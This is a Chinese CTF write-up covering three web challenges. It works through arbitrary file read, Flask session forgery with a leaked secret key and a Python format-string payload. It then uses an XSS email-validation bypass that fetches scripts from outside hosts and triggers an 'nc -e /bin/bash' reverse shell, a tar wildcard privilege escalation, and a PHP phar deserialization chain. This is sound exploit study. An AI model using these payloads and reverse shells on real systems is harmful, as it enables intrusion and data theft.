皇家线上赌场 文件读取 根据首页弹出的xss,来到路径http://107.167.188.241/static?file=test.js
接着发现任意文件读取http://107.167.188.241/static?file=/etc/passwd
发现泄露:http://107.167.188.241/source
文件目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [root@localhost]# tree web web/ ├── app │ ├── forms.py │ ├── __init__.py │ ├── models.py │ ├── static │ ├── templates │ ├── utils.py │ └── views.py ├── req.txt ├── run.py ├── server.log ├── start.sh └── uwsgi.ini [root@localhost]# cat views.py.bak filename = request.args.get('file', 'test.js') if filename.find('..') != -1: return abort(403) filename = os.path.join('app/static', filename)
1 2 3 4 5 /etc/mtab文件: /etc/mtab该文件也是记载当前系统已经装载的文件系统,包括一些操作系统虚拟文件,这跟/etc/fstab有些不同。/etc/mtab文件在mount挂载、umount卸载时都会被更新, 时刻跟踪当前系统中的分区挂载情况。 /proc/mounts文件: 其实还有个/proc/mounts,这个文件也记录当前系统挂载信息,通过比较,/etc/mtab有的内容,/proc/mounts也有,只是序有所不同,另外还多了一条根文件系统信息:
查看工作目录/proc/mounts
或者 /etc/mtab
发现web/home/ctf/web_assli3fasdf
但是除了http://107.167.188.241/static?file=/home/ctf/web_assli3fasdf/app/static/test.js
,其余的文件都读不到
绕过目录 可以用/proc/self/cwd
绕过,cwd是一个符号链接,指向了实际的工作目录 views.py http://107.167.188.241/static?file=/proc/self/cwd/app/views.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 def register_views(app): @app.before_request def reset_account(): if request.path == '/signup' or request.path == '/login': return uname = username=session.get('username') u = User.query.filter_by(username=uname).first() if u: g.u = u g.flag = 'swpuctf{xxxxxxxxxxxxxx}' if uname == 'admin': return now = int(time()) if (now - u.ts >= 600): u.balance = 10000 u.count = 0 u.ts = now u.save() session['balance'] = 10000 session['count'] = 0 @app.route('/getflag', methods=('POST',)) @login_required def getflag(): u = getattr(g, 'u') if not u or u.balance < 1000000: return '{"s": -1, "msg": "error"}' field = request.form.get('field', 'username') mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest() jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}' return jdata.format(field, g.u, mhash)
非admin用户10分钟会重置一次,所以需要构造admin和大于1000000的钱
__init__.py
: http://107.167.188.241/static?file=/proc/self/cwd/app/__init__.py
拿到s_key 即可伪造session
1 2 3 4 5 6 7 8 9 10 11 12 13 from flask import Flask from flask_sqlalchemy import SQLAlchemy from .views import register_views from .models import db def create_app(): app = Flask(__name__, static_folder='') app.secret_key = '9f516783b42730b7888008dd5c15fe66' app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db' register_views(app) db.init_app(app) return app
利用脚本解密session
1 {'csrf_token': '1021549e4ee8bf4fb8fed45620974526275c04d8', 'count': 0, 'balance': 10000, 'username': 'hu3sky'}
接着用key伪造
1 2 "{'csrf_token': '10 21549e4ee8bf4fb8fed45620974526275c04d8', 'count': 0, 'balance': 1000000, 'username': 'admin'}"
然后访问/getflag
关键代码
1 2 3 4 5 6 7 8 def getflag(): u = getattr(g, 'u') if not u or u.balance < 1000000: return '{"s": -1, "msg": "error"}' field = request.form.get('field', 'username') mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest() jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}' return jdata.format(field, g.u, mhash)
这里是format格式化字符串漏洞__globals__
获取所有变量__dict__
以字典的形式返回命名空间所支持的任意自定义的函数属性。__closure__
以包含cell的元组形式返回闭包所包含的自由变量。
大致的思路是找到g对象所在的命名空间,找到getflag方法,然后调__globals__
获取所有变量,再从getflag方法中取出g对象。 最后payload
1 field=save.__globals__[SQLAlchemy].__init__.__globals__[current_app].__dict__[view_functions][getflag].__globals__[g].flag
有趣的邮箱 邮箱验证处check.php
发现
1 2 3 4 5 6 7 8 9 10 11 12 <!--check.php if($_POST['email']) { $email = $_POST['email']; if(!filter_var($email,FILTER_VALIDATE_EMAIL)){ echo "error email, please check your email"; }else{ echo "等待管理员自动审核"; echo $email; } } ?> -->
网上找到绕过FILTER_VALIDATE_EMAIL
检测的方法 提交邮箱"<script/src=//cowig.exeye.io/empuzid></script>"@example.com
即可接收到
但是发现没有cookie,于是利用平台 打源码, 配置
发送请求"<script/src=http://xsspt.com/meVkTN?1545311319></script>"@qq.com
打到源码 解码 可以看到admin/a0a.php下面有个命令执行,于是弹shell
1 2 3 4 5 var a = new XMLHttpRequest(); a.open('GET', 'http://localhost:6324/admin/a0a.php?cmd=nc+-e+%2fbin%2fbash+118.89.56.208+6325', false); a.send(null); b = a.responseText; location.href = 'http://cowig.exeye.io/hu3sky' + escape(b);
此时我们的权限 读不了flag 发现上层的根目录有个4f0a5ead5aef34138fcbf8cf00029e7b,访问下 发现经过tar *处理,于是上传文件,利用通配符进行本地提权 上传第一个文件 shell.sh
反弹shell 第二个文件 空内容 文件名为 --checkpoint=1
第三个文件 空内容 文件名为--checkpoint-action=exec=sh shell.sh
接着tar打包就会以flag用户执行shell.sh,反弹得到另一个shell,即可读flag。
tar 通配符 1 2 3 4 echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh echo "" > "--checkpoint-action=exec=sh shell.sh" echo "" > --checkpoint=1 tar cf archive.tar *
SimplePHP http://120.79.158.180:11115/file.php?file=base.php
读到上传的源码 发现flag的位置<!--flag is in f1ag.php-->
function.php
看到文件名的构造$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"
读到class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
由于没有看到unserialize()
所以应该是一个phar的反序列化
POP链 要触发file_get_contents
去读f1ag
当实例化一个对象后,调用类中不存在或者没有权限访问的属性的时候,php会默认调用__get()
方法 在Show
类中,1 2 3 4 5 public function __toString() { $content = $this->str['str']->source; return $content; }
__toString
方法在输出对象的时候触发。Cle4r类中有 当$content = $this->str['str']->source
str为Test类时,不存在source变量,即可调用__get()
方法 在C14er
类下
1 2 3 4 5 public function __destruct() { $this->test = $this->str; echo $this->test; }
echo函数可以输出获取到的flag Test类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); /* return flag */ return $text; }
这里params是个数组, key是它的键,value是它的值 由于phar序列化的时候,并不能把类的方法进行序列化,于是我们只能控制类的成员。 所以构造的payload
1 2 3 4 5 6 7 8 $a = new Test(); $a -> params = [ 'source' => '/var/www/flag']; $b = new Show(); $b -> str['str'] = $a; $c = new Cle4r; $c -> str = $b;
利用Test类获取flag,然后再传给Show类,让他读取,接着再给Cle4r类,让他输出 意思是,首先实例化Test类,让params数组为 [ ‘source’ => ‘/var/www/flag’],然后再实例化Show类,让Show类的str=Test类,而Test类没有source变量,就会去调用__get方法,接着再让它输出到页面上,即Cle4r类
简单来说:
利用C1e4r类的__destruct()中的echo $this->test
触发Show类的__toString()
利用Show类的$content = $this->str[‘str’]->source
触发Test类的__get()
成功利用file_get()读文件
final payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $a = new Test(); $a->params = array("source"=>'/var/www/html/f1ag.php'); $b = new Show('index.php'); $b->str['str'] = $a; $c= new C1e4r($b); echo serialize($c); $obj = unserialize('O:5:"C1e4r":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:22:"/var/www/html/f1ag.php";}}}}}'); $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->addFromString('test.php', 'test'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($obj); $phar->stopBuffering(); rename('hu3sky.phar', 'hu3sky.gif')